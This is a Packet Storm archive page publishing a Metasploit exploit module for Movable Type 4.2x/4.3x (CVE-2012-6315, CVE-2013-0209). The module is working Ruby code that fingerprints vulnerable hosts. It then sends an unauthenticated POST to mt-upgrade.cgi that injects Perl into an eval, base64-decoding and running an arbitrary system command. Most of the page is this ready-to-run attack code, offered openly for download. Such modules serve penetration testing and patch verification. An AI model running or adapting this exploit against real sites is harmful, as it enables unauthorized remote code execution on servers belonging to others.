exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution
Posted Jan 25, 2013
Authored by Gary O'Leary-Steele, Nick Blundell, Kacper Nowak | Site metasploit.com

This Metasploit module can be used to execute a payload on MoveableType (MT) that exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), that is used during installation and updating of the platform. This allows for code injection.

tags | exploit, cgi
advisories | CVE-2012-6315, CVE-2013-0209
SHA-256 | 9f1569dcdb5b14c9f7ccc437f947a2040582d389fc39d6d3e38a34b0a7f83d25

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

include Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',
'Description' => %q{
This module can be used to execute a payload on MoveableType (MT) that
exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
that is used during installation and updating of the platform.
The vulnerability arises due to the following properties:
1. This script may be invoked remotely without requiring authentication
to any MT instance.
2. Through a crafted POST request, it is possible to invoke particular
database migration functions (i.e functions that bring the existing
database up-to-date with an updated codebase) by name and with
particular parameters.
3. A particular migration function, core_drop_meta_for_table, allows
a class parameter to be set which is used directly in a perl eval
statement, allowing perl code injection.
},
'Author' =>
[
'Kacper Nowak',
'Nick Blundell',
'Gary O\'Leary-Steele'
],
'References' =>
[
['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate)
['CVE', '2013-0209'],
['URL', 'http://www.sec-1.com/blog/?p=402'],
['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html']
],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' =>
[
'win',
'unix'
],
'Targets' =>
[
['Movable Type 4.2x, 4.3x', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jan 07 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])
], self.class)
end

def check
@peer = "#{rhost}:#{rport}"
fingerprint = rand_text_alpha(5)
print_status("#{@peer} - Sending check...")
begin
res = http_send_raw(fingerprint)
rescue Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
if (res)
if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
return Exploit::CheckCode::Vulnerable
elsif (res.code != 200)
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Unknown
end
end

def exploit
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Sending payload...")
http_send_cmd(payload.encoded)
end

def http_send_raw(cmd)
path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'
pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')
send_request_cgi(
{
'uri' => path,
'method' => 'POST',
'vars_post' =>
{
'__mode' => 'run_actions',
'installing' => '1',
'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]}
}
})
end

def http_send_cmd(cmd)
pay = 'v0;use MIME::Base64;system(decode_base64(q('
pay << Rex::Text.encode_base64(cmd)
pay << ')));return 0'
http_send_raw(pay)
end
end
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close